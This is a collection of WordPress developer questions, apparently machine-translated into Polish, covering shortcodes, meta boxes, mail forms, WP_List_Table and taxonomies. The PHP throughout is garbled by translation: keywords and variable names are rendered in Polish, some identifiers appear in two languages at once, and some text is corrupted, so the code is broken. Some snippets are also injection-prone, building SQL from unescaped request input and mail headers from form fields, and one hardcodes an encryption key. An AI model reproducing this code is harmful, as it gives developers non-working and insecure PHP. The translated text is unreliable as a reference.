'KATALOG_FRAME_OPCJI', pobierz_katalog_szablonu_uri() . '/inc/' ); Wymagana_raz nazwa dirname( __FILE__ ) . '/inc/opcje-framework.php'; }      Dziękuję.


title: Jak przekazać niestandardową wartość pola do shortcode?

text: Chcę wywołać niestandardowe pole w szablonie `single.php`, aby uzupełnić krótki kod, a tym samym wyświetlić menu. Umieszczam poniższy kod, ale nie działa <?php echo do_shortcode("[custommenu menu=<?php echo get_post_meta($post->ID, ‘tabmenu’, true); ?>]?>")


title: Formularz PHP nie wysyła poczty, jeśli używam typu i wersji MIME w nagłówku. Jak to rozwiązać?

text:
Jeśli użyję poniższego kodu, formularz działa poprawnie i otrzymuję przesyłanie formularzy na mój e-mail. <?php if($_POST["wyślij"]) { $recipient="meemail@gmail.com"; $subject="Nowe żądanie"; $headers = 'Wersja MIME: 1.0' . "\r\n"; $headers .= 'Typ treści: text/html; charset=iso-8859-1' . "\r\n"; $nadawca=$_POST["nazwa nadawcy"]; $senderEmail=$_POST["senderEmail"]; $wiadomość=$_POST["wiadomość"]; $name_title=$_POST["name_title"]; $mailBody = "Imię: $name_title $sender\n E-mail: $senderEmail\n\n Wiadomość: $message"; $mail_sent = mail($recipient, $subject, $mailBody, "Od: $sender <$senderEmail>"); } if ($mail_sent) { ?>
Poczta wysłana
 <?php } ?> Jeśli zmienię `$mail_sent = mail($recipient, $subject, $mailBody, "Od: $sender <$ senderEmail>");` **TO** `$mail_sent = mail($recipient, $subject, $mailBody, "From: $sender <$senderEmail>", $headers);`, wtedy formularz przestaje działać. Jaki jest problem?


title: WordPress przycina zaszyfrowane pole

text: Problem polega na tym, że gdy próbuję wstawić nowy post do WordPressa, hasło (zaszyfrowane, patrz kod poniżej) jest obcinane. Na przykład: zaszyfrowane `Ivt9=f:;itKun+TiIarze-GyX5Rt` to tylko `Ivt` w WordPressie. add_action( 'eb_register_user', 'eb_register_user_callback' ); funkcja eb_register_user_callback() { $posts = $_POST; $esc_posts = array_map( 'esc_post', $posts ); ekstrakt( $esc_posts, EXTR_PREFIX_ALL, 'eb' ); $new_customer = wp_insert_post( array( 'post_title' => $eb_f_name . ' ' . $eb_surname . ', ' . $eb_city, 'post_status' => 'publish', 'post_type' => 'customer' ) ); update_post_meta( $nowy_klient, 'typ', $eb_type ); update_post_meta( $nowy_klient, 'nazwa_firmy', $eb_nazwa_firmy ); update_post_meta( $nowy_klient, 'company_nip', $eb_company_nip ); update_post_meta( $nowy_klient, 'f_name', $eb_f_name ); update_post_meta( $nowy_klient, 'nazwisko', $eb_surname ); update_post_meta( $nowy_klient, 'ulica', $eb_ulica ); update_post_meta( $nowy_klient, 'miasto', $eb_city ); update_post_meta( $nowy_klient, 'e-mail', $eb_email ); update_post_meta( $nowy_klient, 'telefon', $eb_telefon ); update_post_meta( $nowy_klient, 'uuid', get_uuid( $nowy_klient) ); require_once 'classes/crypt.class.php'; $kryptastyk = nowy kryptastyk; $klucz = $cryptastic->pbkdf2( 'COŚ!$#przepustka', 'COŚ!$#sól', 1000, 32 ); $encrypted = $cryptastic->encrypt( $_POST['hasło'], $klucz ); update_post_meta( $nowy_klient, 'hasło', $zaszyfrowane ); wp_redirect( home_url() . '?ep = ' . $ zaszyfrowane ); } Po przekierowaniu na adres domowy parametr `ep` GET zawiera poprawnie zaszyfrowane hasło, ale nie pole meta. Dowolny pomysł?


title: jak wyświetlić powtarzalną wartość pola meta w interfejsie?

text:
Chciałbym wyświetlić wszystkie moje wartości meta pola w pliku szablonu, ale nie mam pojęcia o wyświetlaniu powtarzalnej wartości meta pola, czy ktoś mógłby mi pomóc.. Mój kod to .. <?php /** * Nazwa wtyczki: (SO) Powtarzalny field demo * Plugin URI: http://stackoverflow.com/a/14452453/1287812 * Opis: Jak zrobić powtarzalne pola w metaboxie * Autor: brasofilo * Licencja: GPLv3 */ add_action( 'admin_init', 'add_post_gallery_so_14445904' ); add_action( 'admin_head-post.php', 'print_scripts_so_14445904' ); add_action( 'admin_head-post-new.php', 'print_scripts_so_14445904' ); add_action( 'zapisz_post', 'update_post_gallery_so_14445904', 10, 2 ); /** * Dodaj niestandardowy Meta Box do typu posta */ function add_post_gallery_so_14445904() { add_meta_box( 'post_gallery', 'Custom Uploader', 'post_gallery_options_so_14445904', 'post', 'normal', 'core' ); } /** * Wydrukuj zawartość Meta Boxa */ function post_gallery_options_so_14445904() { global $post; $gallery_data = get_post_meta( $post->ID, 'gallery_data', true ); // Użyj nonce do weryfikacji wp_nonce_field( plugin_basename( __FILE__ ), 'noncename_so_14445904' ); ?>

 <?php if ( isset( $gallery_data['image_url'] ) ) { for( $i = 0; $i < count( $gallery_data[ 'image_url'] ); $i++ ) { ?>

 Adres URL obrazu <input type=" text" class="meta_image_url" name="gallery[image_url][]" value="<?php esc_html_e( $gallery_data['image_url'][$i] ); ?>" />

 Opis <input type="text" class="meta_image_desc" name="gallery[image_desc][]" value="<?php esc_html_e( $gallery_data['image_desc'] [$i] ) ; ?>" />

 <img src="<?php esc_html_e( $gallery_data['image_url'][$i] ); ?>" height="48" width="48" />

 <input class="button" type="button" value="Wybierz plik" onclick="add_image( this)" />
 <input class="button" type="button" value="Usuń" onclick="remove_field(this)" />

 <?php } // endif } // endforeach ?>

 URL obrazu <input class="meta_image_url" value="" type="text" name="gallery[image_url][]" />

 Link do obrazu <input class="meta_image_desc" value="" type="text" name="gallery[image_desc ][]" />

 <input type="button" class="button" value=" Wybierz Plik" onclick="add_image(this)" />
 <input class="button" type="button" value="Usuń" onclick="remove_field(this)" />

 <input class="button" type="button" value="Dodaj pole" onclick="add_field_row() ;" />

 <?php } /** * Style drukowania i skrypty */ function print_scripts_so_14445904() { // Sprawdź poprawność post_type global $post; if( 'post' != $post->post_type ) return; ?>   <?php } /** * Zapisz akcję posta, przetwórz pola */ function update_post_gallery_so_14445904( $post_id, $post_object ) { // Robienie rewizji, wcześniejsze wyjście **można usunąć** if ( defined( ' DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) powrót; // Robisz wersję, wyjdź wcześniej if ( 'revision' == $post_object->post_type ) return; // Sprawdź autentyczność if ( !wp_verify_nonce( $_POST['noncename_so_14445904'], plugin_basename( __FILE__ )) ) return; // Popraw typ posta if ( 'post' != $_POST['post_type'] ) return; if ( $_POST['gallery'] ) { // Zbuduj tablicę do zapisania meta postu $gallery_data = array(); for ($i = 0; $i < count( $_POST['gallery']['image_url'] ); $i++ ) { if ( '' != $_POST['gallery']['image_url'][ $ i ] ) { $gallery_data['image_url'][] = $_POST['gallery']['image_url'][ $i]; $gallery_data['image_desc'][] = $_POST['gallery']['image_desc'][ $i]; } } if ( $gallery_data ) update_post_meta( $post_id, 'gallery_data', $gallery_data ); else delete_post_meta( $post_id, 'gallery_data' ); } // Nic nie odebrano, wszystkie pola są puste, opcja usunięcia else { delete_post_meta( $post_id, 'gallery_data' ); }     }      Z góry dziękuję.


title: Eksport portfolio ze zdjęciami

text: Zastanawiam się, czy życzliwa dusza mogłaby pomóc, bo tu wariuję. Niedawno zacząłem używać Wordpressa i stworzyłem stronę internetową, na której mam wiele portfolio. Obrazy w portfolio zostały w pełni zoptymalizowane pod kątem SEO za pomocą tagów itp. Więc to jest moje pytanie: stworzyłem kolejną stronę, na której chcę wykorzystać niektóre portfolio z pierwszej strony, ale myśl o zaimportowaniu wszystkich obrazów i optymalizacji znowu mnie zniechęca, więc czy jest sposób na wyeksportowanie portfolio z pierwszej strony internetowej na nową z dołączonymi zdjęciami? Użyłem narzędzia do eksportu Wordpess, ale plik .xml nie zawiera żadnych zdjęć; zaimportował portfolio, ale bez żadnych zdjęć. Z poważaniem Jorge


title: Wyświetlaj strony w kolejności alfabetycznej

text: Myślę, że brakuje mi czegoś w moim `functions.php` ponieważ moje strony w admin są wyświetlane losowo. Jak możesz wyświetlać strony w admin alfabetycznie? Dziękuję!


title: Znaki specjalne Wordpress przychodzące w kodzie ascii

text: Tytuł artykułu na tej stronie to „Poznaj Youngest Art Director of Pakistan – Babrus Khan”” Znak specjalny w tytule nie jest zakodowany z powrotem po pobraniu z bazy danych i dlatego widzę w kodzie HTML, że tytuł to „Poznaj Youngest Dyrektor artystyczny Pakistanu – Babrus Khan”` Po udostępnieniu w mediach społecznościowych zamiast znaków specjalnych pojawiają się kody ASCII. Jak mogę rozwiązać ten problem?


title: Jak złapać przycisk „Publikuj”, aby sprawdzić walidację metaboxu?

text: Próbuję wykonać walidację formularza na moim niestandardowym polu meta i pamiętam, że czytałem gdzieś o jakiejś funkcji javascript, aby wyłączyć / włączyć przycisk Publikuj - z wyjątkiem tego, że nie mogę go znaleźć. Jak a) włączyć/wyłączyć przycisk publikowania lub, b) po kliknięciu Publikuj, zatrzymać go i zapobiec aktualizacji oraz ostrzec użytkownika, ale w taki sposób, aby można go było później zaktualizować, spróbowałem tylko prostego kliknij handler z e.preventDefault() i e.stopPropagation jednak pojawia się ikona swily i przycisk pozostaje wyłączony, ponieważ nigdy się nie kończy Dzięki


title: Moderacja wtyczki bbpress

text: Pierwszy raz używam wtyczki bbpress wordpress i nie widzę żadnych ustawień moderacji. Czy bbpress ma wbudowaną moderację? Szukałem wtyczek moderacyjnych, ale znalazłem tylko jedną dla wersji samodzielnej. Czy istnieje sposób na włączenie moderacji?


title: Sekcja członków Premium na stronie internetowej

text: Korzystałem z emmembera w przeszłości i przyglądałem się członkostwu Tadlocka, a także innej ofercie premium jigowatta. Jednak nie chcę po prostu ukrywać treści wpisu... Chcę ukryć cały wpis... i całe kategorie/taksonomie. Chciałbym, aby menu wyświetlało "Produkty", a kiedy odwiedzasz tę konkretną stronę, jesteś proszony o zalogowanie się, aby ją wyświetlić. Zarejestrowanie go również „odblokuje”/ujawni sekcje witryny, które nie były wcześniej widoczne. Na przykład menu może teraz zawierać widżety i gadżety pod głównymi „produktami”. wydaje mi się, że jest to inne niż to, z czym mogą sobie poradzić wtyczki, o których wspomniałem wcześniej. czy istnieje wtyczka, która to robi, czy też mam zamiar stworzyć własną?


title: Obszar administracyjny dla użytkownika, motywu niestandardowego lub motywu administratora?

text: W mojej witrynie WordPress muszę zapewnić kilka funkcji backendu dla zalogowanego użytkownika, więc obecnie mam dwie możliwości 1. użyj wp-admin, dostosuj menu, ukrywając nieistotne elementy 2. utwórz niestandardowy motyw (dla backendu), i przełącz motyw użytkownika z motywu publicznego na dostosowany motyw zaplecza, gdy odwiedzi adres URL, powiedz `/admin/*` Zaletą (1) jest to, że mogę ponownie wykorzystać istniejące funkcje, takie jak menu, pulpit nawigacyjny, pasek górny, typ postu / taksonomia CRUD, funkcje ustawień wordpress itp. Jednak dostosowanie wp-admin jest dość trudne i może się zepsuć, gdy WordPress zostanie zaktualizowany w przyszłości. W przypadku (2) jest to prostsze, ale trzeba napisać więcej kodu, np. trzeba ponownie zaimplementować CRUD dla podstawowego typu postu / taksonomii itp. Czy są jakieś lepsze sugestie dotyczące moich wymagań poza powyższymi?


title: Zmiana nazwy wp-admin bez twardego kodowania. Czy to naprawdę możliwe?

text: Chciałbym zmienić nazwę mojego folderu wp-admin ze względu na pewne obawy dotyczące bezpieczeństwa. Czy to naprawdę możliwe? **Im mniej wygląda/jest zbudowany jak domyślny WP, tym trudniej jest zaatakować znane luki. Możliwość zmiany nazw tych katalogów może pomóc powstrzymać exploita.** Otto wspomniał w tym wątku, że możliwe jest użycie filtra "admin_url". Czy to naprawdę możliwe? Jeśli tak, czy ktoś może mi podać przykładowy kod. Mam nadzieję, że to przydatne pytanie


title: Konflikt Wordpress Jquery z wtyczką

text: Hej, z góry dziękuję za pomoc. Zrobiłem rozeznanie i jestem tym trochę zakłopotany... Buduję stronę Wordpress dla klienta i będzie miała e-sklep. Używam wp-ecommerce. Wszystkie strony sklepu ładują się z błędem javascript: http://www.thecollectiveclothingco.com/products-page/t-shirts/ jQuery("form.product_form").livequery nie jest funkcją [Break On This Error] jQuery("form.product_form").livequery(function(){ Po pewnym okresie google-age, wydaje mi się, że zdiagnozowałem problem jako konflikt skryptów. Innymi słowy, albo WP, albo sama wtyczka obsługuje jquery, i dołączam go również do innych rzeczy na stronie.Kiedy usunę moje wywołanie skryptu jquery, problem znika i sklep działa dobrze.Ale potrzebuję tego jquery ... Czytałem o używaniu WP enqeue do napraw problem: function my_init_method() { if (!is_admin()) { wp_deregister_script( 'jquery' ); wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery .min.js'); wp_enqueue_script('jquery');} } add_action('init', 'my_init_method');php wp_head(); Uważam, że zrobiłem to dobrze, ale wydaje się, że niczego nie naprawiam. Jakieś pomysły? Dzięki jeszcze raz. ## EDIT: W porządku, zorientowałem się... to był skrypt enqueue, który naprawił rzeczy. ja wp(głowa); musiał przyjść przed częścią wyrejestrowania i kolejkowania. Musiałem źle przeczytać dokumentację. Oto co dodałem do mojego nagłówka: <?php wp_head(); wp_deregister_script('jquery'); wp_enqueue_script('jquery', MÓJURL .'http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js', FAŁSZ, '1.4.4'); ?>


title: Witryna nie otrzymuje prawidłowego wyróżnionego obrazu z mojego zapytania

text:
Na stronie głównej mojej witryny mam serię kafelków, które prowadzą do różnych części witryny. Jeden kafelek łączy się z blogiem i napisałem kod, aby pobrać najnowszy post z dołączonym do niego obrazem i wyświetlić go wraz z tytułem posta. Oto kod z pliku motywu: $z=0; //ustaw licznik postów query_posts(array( 'meta_key' => '_thumbnail_id' )); ?> <?php if(have_posts()) : ?> <?php while(have_posts() && $z<1) : the_post(); //Wywołaj załącznik obrazu posta $args = array( 'post_type' => 'attachment', 'numberposts' => 1, 'post_status' => null, 'post_parent' => $post->ID ); $załączniki = get_posts($args); if ($attachments) { foreach ($attachments as $attachment) { $image = wp_get_attachment_image_src($attachment->ID,'homethumbs'); ?> <a href="<?php echo get_posts_page_url(); ?>" title="Odwiedź blog Serge" id="homelink3" class="top_homelink"><img src="<?php echo $image[0 ]; ?>" width="308" height="308" id="home-blogthumb" class="side-homethumb wp-post-image" />
Blog
Najnowszy post: <?php the_title(); ?>
  <?php $z++; } //$usedthumbnails[] = get_the_post_thumbnail(); } ?> <?php endwhile; endif; wp_reset_query(); ?> Zdaję sobie sprawę, że ten kod w rzeczywistości nie otrzymuje wyróżnionego obrazu, ale zamiast tego otrzymuje 1 obraz, który jest dołączony do posta. Dzieje się tak dlatego, że autorzy bloga czasami zapomnieli „ustawić jako wyróżniony obraz”, ale każde zdjęcie przesłane do posta było załączane automatycznie. W wersji 3.5 teraz wydaje się, że polecane obrazy niekoniecznie są dołączone do postów, więc powyższy kod zostanie pominięty. Jakie jest najlepsze podejście do rozwiązania tego problemu? Być może dzwoniąc tylko do najnowszego polecanego obrazu... Mogę tylko upewnić się, że autorzy postów dodadzą polecany obraz do swoich postów. Strona to http://sergedenimes.com **EDYTUJ:** Oto mój odnowiony kod: <?php global $post; $args = array( 'numberposts' => 1, 'meta_key' => '_thumbnail_id' ); $mojeposty = get_posts( $args ); foreach( $myposts jako $post ): setup_postdata($post); $thumb = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'homethumbs' ); ?> <a href="<?php echo get_posts_page_url(); ?>" title="Odwiedź blog Serge" id="homelink3" class="top_homelink"><img src="<?php echo $thumb[0 ]; ?>" width="308" height="308" id="home-blogthumb" class="side-homethumb wp-post-image" />
Blog
Najnowszy post: <?php the_title(); ?>
  <?php endforeach; ?> Chcę się upewnić, że zamieściłem nowy post, ale nie dodałem do niego wyróżnionego obrazu, czy powyższe zapytanie po prostu je zignoruje i wyświetli ostatni post, który _ma_ ma wyróżniony obraz? Mam nadzieję, że argument `'meta_key' => '_thumbnail_id'` powinien to zrobić. Jeśli się mylę, spodziewałbym się, że nie uzyskam adresu URL załącznika, a kafelek na stronie głównej będzie po prostu pusty (brak obrazu).


title: Usuń ścieżkę folderu z wp_get_attachment_url, aby wyświetlić tylko nazwę pliku

text: Używam funkcji, aby wyświetlić wszystkie pliki dołączone do posta i wyświetlić je jako linki. Wynik jest mniej więcej taki: echo 'ID) .'" class="dir-attachment" />' . wp_get_attachment_url($attachmentImage->ID) . ''; Zgodnie z oczekiwaniami wyświetla hiperłącze wersji hiperłącza, ale chciałbym to wyczyścić. Czy jest jakiś sposób, aby usunąć http://mojadomena/wp-content/uploads z drugiego wystąpienia wyświetlając tylko nazwę pliku, a nie pełną ścieżkę?


title: Mam motyw, którego nie mogę zaktualizować i nie puszczę

text: Jakiś czas temu stworzyłem niestandardowy motyw dla klienta, a kilka miesięcy później w tajemniczy sposób się zepsuł, powracając do wczesnej wersji, która zawierała kilka linków do mojej witryny. Wprowadziłem poprawki, ale potem odkryłem, że bez względu na to, jak próbowałem dokonać zmian - ftp'owanie pliku, naprawianie bezpośrednio z wordpressa itp. - wordpress po prostu wrócił do wersji, która tam była. Dodałem nawet losowy tekst, aby sprawdzić moją teorię i ten też by się nie pojawił. Jednak, co dziwne, mogłem wejść do edytora motywów w Wordpress i zobaczyć poprawną wersję pliku. W końcu zdecydowałem się po prostu przełączyć się na inny motyw, zlikwidować ten, spróbować go naprawić i przesłać ponownie. Wordpress nie pozwoli mi przełączyć się na inny motyw. Wybiorę inny motyw i aktywuję go, strona całkowicie przestanie się pojawiać i wrócę do edytora motywów, a oryginalny motyw pojawi się jako motyw domyślny. W tym momencie trochę boję się usunąć szablon. Zastanawiam się, czy jest to jakiś problem z bazą danych. Jednak panel kontrolny mojej klientki nie daje jej dostępu do bazy danych. Czy ktoś ma jakieś myśli?


title: Dwukierunkowa synchronizacja typu postu między blogami wielostronnymi

text: Czy możliwe jest dwukierunkowe zsynchronizowanie typu wpisu między wieloma witrynami podczas instalacji wielostanowiskowej? Na przykład, jeśli ktoś dokona zmiany we wpisie pod wpisem typu „inwentarz” w Witrynie A, jak mogę automatycznie odzwierciedlić to w Witrynie B i odwrotnie? Myślę, że są dwa główne możliwe sposoby na zrobienie tego, z których żaden jestem pewien, że nie da się łatwo zrobić. 1) Wtyczka łączy się z edit_post, więc po wprowadzeniu zmiany wtyczka edytuje siostrzany wpis w tabeli bazy danych innego bloga. 2) Za każdym razem, gdy Witryna B wyświetla lub edytuje typ postu „inwentarz”, odczytuje go z tabeli bazy danych Witryny A.


title: Wtyczka i/lub widżet półki na książki

text: Szukam jakiejś wtyczki i/lub widżetu do wyświetlania listy okładek książek na pasku bocznym. Czy są jakieś dobre opcje?


title: Czynności dotyczące wierszy nie są wyświetlane? Czemu?

text:
Skonstruowałem `WP_List_Table`, który wyświetla się na zbudowanej przeze mnie stronie motywu niestandardowego. Mam pewne problemy z wyświetleniem działań wierszy, mimo że przeglądam wszystkie możliwe informacje w Internecie na temat WP_List_Table. Każda pomoc byłaby świetna! class Testimonials_List_Table extends WP_List_Table { function __construct() { parent::__construct( array( 'singular'=> 'testimonial', //Singular label 'plural' => 'testimonials', //etykieta mnoga, również ta klasa css tabeli 'ajax' => false //Nie będziemy obsługiwać Ajax dla tej tabeli ) ); } function get_bulk_actions() { $actions = array( 'usuń' => 'Usuń' ); return $akcje; } function process_bulk_action() { if( 'delete'===$this->current_action() ) { wp_die('Elementy usunięte (albo byłyby gdybyśmy mieli elementy do usunięcia)!'); } } function get_columns() { return $columns= array( 'cb' => '<input type="checkbox" />', //Renderuj pole wyboru zamiast tekstu 'name'=> 'Name', 'company_name' => 'Nazwa firmy', 'company_url'=> 'URL strony', 'testimonials_quote'=> 'Referencje' ); } function column_name($item){ $actions = array( 'edit' => sprintf('Edytuj',$_REQUEST[' page'],'edit',$item['ID']), 'delete' => sprintf('Usuń', $_REQUEST['strona'],'usuń',$pozycja['ID']), ); //Zwróć zawartość tytułu return sprintf('%1$s (id:%2$s)%3$s', /*$1%s*/ $ item['name'], /*$2%s*/ $item['ID'], /*$3%s*/ $this->row_actions($actions) ); } function column_cb($item){ return sprintf( '<input type="checkbox" name="%1$s[]" value="%2$s" />', /*$1%s*/ $this ->_args['singular'], //Po prostu zmieńmy przeznaczenie pojedynczej etykiety tabeli ("film") /*$2%s*/ $item['ID'] //Wartością pola wyboru powinien być identyfikator rekordu ) ; } funkcja Prepare_items() { globalna $wpdb, $_wp_column_headers; $ekran = get_current_screen(); $wpdb->show_errors(); $query = "WYBIERZ * Z wp_testimonials"; $orderby = !empty($_GET["orderby"]) ? mysql_real_escape_string($_GET["zamówienie"]) : 'ASC'; $zamówienie = !empty($_GET["zamówienie"]) ? mysql_real_escape_string($_GET["zamówienie"]) : ''; if(!empty($orderby) & !empty($orderby)){ $query.=' ORDER BY '.$orderby.' '.$zamówienie; } $totalitems = $wpdb->zapytanie($zapytanie); //zwróć całkowitą liczbę wierszy, których dotyczy problem $perpage = 8; $stronicowany = !pusty($_GET["stronicowany"]) ? mysql_real_escape_string($_GET["stronicowany"]) : ''; if(empty($paged) || !is_numeric($paged) || $paged<=0 ){ $paged=1; } $totalpages = ceil($totalitems/$perpage); if(!empty($paged) && !empty($perpage)){ $offset=($paged-1)*$perpage; $query.=' LIMIT '.(int)$przesunięcie.','.(int)$na stronę; } $this->set_pagination_args( array( "total_items" => $totalems, "total_pages" => $totalpages, "per_page" => $na stronę, ) ); $kolumny = $to->pobierz_kolumny(); $ukryte = tablica(); $sortowalne = $this->get_sortable_columns(); $this->_column_headers = array($kolumny, $ukryte, $sortowalne); $this->items = $wpdb->get_results($query); } function display_rows() { $records = $this->items; lista( $kolumny, $ukryte) = $this->get_column_info(); if(!empty($records)){foreach($records as $rec){ echo '
name.'">'; foreach ( $columns as $column_name => $column_display_name ) { $class = "class='$column_name column-$column_name'"; $styl = ""; if ( in_array( $nazwa_kolumny, $ukryty ) ) $style = ' style="display:none;"'; $atrybuty = $klasa . $styl; $editlink = '/test/wp-admin/themes.php?page=testimonials&tab=add_new_testimonial='.urlencode((int)$rec->id); switch ( $column_name ) { case "cb": echo '<input type="checkbox" />	';break; case "id": echo ''.stripslashes($rec->id).'	';break; wielkość liter "nazwa": echo ''.stripslashes($rec->nazwa).'	'; przerwanie; case "nazwa_firmy": echo ''.stripslashes($rec->nazwa_firmy).'	'; przerwanie; case "company_url": echo ''.stripslashes($rec->company_url).'	'; przerwanie; case "testimonials_quote": echo ''.stripslashes($rec->testimonials_quote).'	'; przerwanie; } } echo'
'; }} } } // Zakończ klasę WP_List_Table


title: Podobne posty — BRAK wtyczki

text: Jak mogę utworzyć podobną sekcję postów w moim motywie, ale bez użycia wtyczki. Zamierzam rozdawać mój motyw za darmo, więc nie chcę zmuszać ludzi do instalowania wtyczek, aby używać mojego motywu. Jak można to zrobić?


title: Daj dzieciom unikalny identyfikator

text: Czy istnieje sposób na nadanie każdemu dziecku wordpress (podkategorii listy UL) unikalnego identyfikatora? Tworzę listę rozwijaną dla podkategorii i chcę je pozycjonować, ale `:nth-child` nie jest jeszcze obsługiwany przez wszystko.


title: Czy istnieje sposób na antydatowanie postów?

text: Czy istnieje sposób na antydatowanie postów na WordPressie? Powodem jest to, że przenoszę zawartość z innej witryny i chcę zachować oryginalne daty publikacji. * * * ## Edytuj Treść jest migrowana ręcznie z witryny innej niż Wordpress


title: wp_schedule_event nie działa

text: Zamierzam utworzyć zaplanowaną aktualizację_post_meta iz jakiegoś nieznanego powodu funkcja nigdy nie jest uruchamiana. Poniżej kod: add_action( 'save_post', 'scheduled_upm'); function schedule_upm() { wp_schedule_event( time(), 'co godzinę', 'do_this_every_hour'); } add_action( 'rób_co_co_godzinę','rób_co_co_godzinę' ); function do_this_every_hour() { update_post_meta('3197', 'meta_key', '8'); } Normalne (o ile rozumiem) jest to, że funkcja do_this_every_hour będzie działać natychmiast, a potem co godzinę. Czy gdzieś się mylę? Z góry dzięki!


title: Zapisz wartość listy wyboru (taksonomię) w wp:wp_set_object_terms

text:
W moim adminie po części mam dodatkowe pola (jak cena czy marka - czyli taksonomia). Kiedy edytuję lub tworzę nową część, konfiguruję dodatkowe dane. i oszczędność ceny jest bez problemu, ale zapisanie wartości z listy wyboru jest czymś dziwnym - nie zaoszczędziło: wp_set_object_terms($post_id, $_POST['part_brand'], 'brands', true); zgodnie z wp doc: ta funkcja aktualizuje wartość z wyboru taksonomii. Ale dla mnie to nie zadziałało. Cały kod można zobaczyć tutaj: http://pastebin.com/N4gZL3uN jak zapisać wartość z listy wyboru (taksonomii) w wp? cały kod: <?php /* Nazwa wtyczki: parts URI wtyczki: http://wp.tutsplus.com/ Opis: descr Wersja: 1.0 Autor: Ja Autor URI: http://wp.tutsplus.com/ Licencja: GPLv2 */ add_action('init', 'part_init'); function part_init() { $args = array( 'label' => __('Części') , 'labels' => array( 'edit_item' => __('Edytuj część') , 'add_new_item' => __(' Dodaj nową część') , 'view_item' => __('Wyświetl część') , ) , 'singular_label' => __('Część') , 'public' => true, 'show_ui' => true, '_builtin' => false, 'capability_type' => 'post', 'hierarchical' => false, 'rewrite' => array( "slug" => "części" ) , // формат ссылок 'supports' => array( 'title ', 'redaktor', 'miniaturka' ) ); register_post_type('część', $args); $labels_gr = array( 'name' => 'Группы', 'singular_name' => 'Группы', 'search_items' => 'Поиск групп', 'all_items' => 'Все группы', 'итя группа',         'parent_item_colon' => 'Родительская группа:',         'edit_item' => 'Редактирование группы',         'update_item' => 'Обновить группу',         'add_new_item' => 'Добавить новую группу',         'new_item_name' => 'Имя новой группы', 'menu_name' => 'Группы', ); $labels_brands = array( 'name' => 'Бренды', 'singular_name' => 'Бренд', 'search_items' => 'Поиск брендов', 'popular_items' => 'Популяренды>'р бренды', 'edit_item' => 'Редактировать бренд', 'update_item' => 'Обновить бренд', 'add_new_item' => 'Добавить nowy 'nowy', бор. 'Бренды',         'separate_items_with_commas' => 'Разделять бренды запятыми',         'add_or_remove_items' => 'Добавить или удалить бренд',         'choose_from_most_used' => 'Выберите бренд из наиболее используемых',         'menu_name' => 'Бренды',       ) ; register_taxonomy('groups', 'post', array( 'hierarchical' => true, 'labels' => $labels_gr, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite ' => array( 'slug' => 'grupa' ) , )); register_taxonomy('brands', 'post', array( 'hierarchical' => false, 'labels' => $labels_brands, 'show_ui' => true, 'show_admin_column' => true, 'update_count_callback' => '_update_post_term_count', 'query_var' => true, 'rewrite' => array( 'slug' => 'marki' ) , )); } function part_add_meta_box() { add_meta_box('part_additional_fields', __('Дополнительные поля', 'part_textdomain') , 'part_meta_box_callback', 'part'); } add_action('add_meta_boxes', 'part_add_meta_box'); function part_meta_box_callback($post) { wp_nonce_field('part_meta_box', 'part_meta_box_nonce'); $part_weight = get_post_meta($post->ID, 'part_weight', true); // $part_brand = get_post_meta( $post->ID, 'part_brand', true ); $part_brand = get_terms('brands', 'hide_empty=0'); $part_price = get_post_meta($post->ID, 'part_price', true); $part_group = get_terms('groups', 'hide_empty=0'); echo ''; _e('Вес', 'myplugin_textdomain'); echo ' '; echo '<input id="part_weight" name="part_weight" value="' .esc_attr($part_weight) '" size="25" type="liczba" />'; echo "
"; ?> Бренд <select name='part_brand' id='part_brand'> <wartość opcji='' <?php if (!count($part_brand)) echo "selected" ; ?>>Brak</option> <?php foreach($part_brand as $brand) { if (!is_wp_error($part_brand) && !empty($part_brand) && !strcmp($brand->slug, $part_brand[0] ->slug)) echo "<wartość opcji='" . $marka->ślimak . „” wybrane>” . $marka->nazwa . "</option>\n"; else echo "<wartość opcji='" . $marka->ślimak . „>” . $marka->nazwa . "</option>\n"; } ?> </select> <?php echo "
"; echo ''; _e('Цена', 'myplugin_textdomain'); echo ' '; echo '<input id="part_price" name="part_price" value="' .esc_attr($part_price) '" size="25" type="liczba" />'; echo "
"; ?> Группа <select name='part_group' id='part_group'> <wartość opcji='' <?php if (!count($part_group)) echo "selected" ; ?>>Brak</option> <?php foreach($part_group as $brand) { if (!is_wp_error($part_group) && !empty($part_group) && !strcmp($brand->slug, $part_group[0] ->slug)) echo "<wartość opcji='" . $marka->ślimak . „” wybrane>” . $marka->nazwa . "</option>\n"; else echo "<wartość opcji='" . $marka->ślimak . „>” . $marka->nazwa . "</option>\n"; } ?> </select> <?php } function part_save_meta_box_data($post_id) { if (!isset($_POST['part_meta_box_nonce'])) { return; } if (! wp_verify_nonce ($_POST ['part_meta_box_nonce'], 'part_meta_box')) { return; } if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) { return; } if (isset($_POST['post_type']) && 'part' == $_POST['post_type']) { if (!current_user_can('edit_page', $post_id)) { return; } } else { if (!current_user_can('edit_post', $post_id)) { return; } } if (!isset($_POST['part_weight']) || !isset($_POST['part_weight']) || !isset($_POST['part_weight']) || !isset($_POST[' część_grupa'])) { powrót; } $part_weight_data = sanitize_text_field($_POST['part_weight']); // $part_brand_data = sanitize_option( $_POST['part_brand'], $_POST['part_brand']); wp_set_object_terms ($post_id, $_POST['part_brand'], 'marki', prawda); $part_price_data = sanitize_text_field($_POST['part_price']); // $part_group = sanitize_option( $_POST['part_group'] ); wp_set_object_terms ($post_id, $_POST['part_group'], 'groups', true); // Zaktualizuj pole meta w bazie danych. update_post_meta($post_id, 'part_weight', $part_weight_data); // update_post_meta( $post_id, 'part_brand', $part_brand_data ); update_post_meta($post_id, 'part_price', $part_price_data); // update_post_meta( $post_id, 'part_group', $part_group ); } add_action('save_post', 'part_save_meta_box_data'); ?>


title: Formularze nie zostaną przesłane

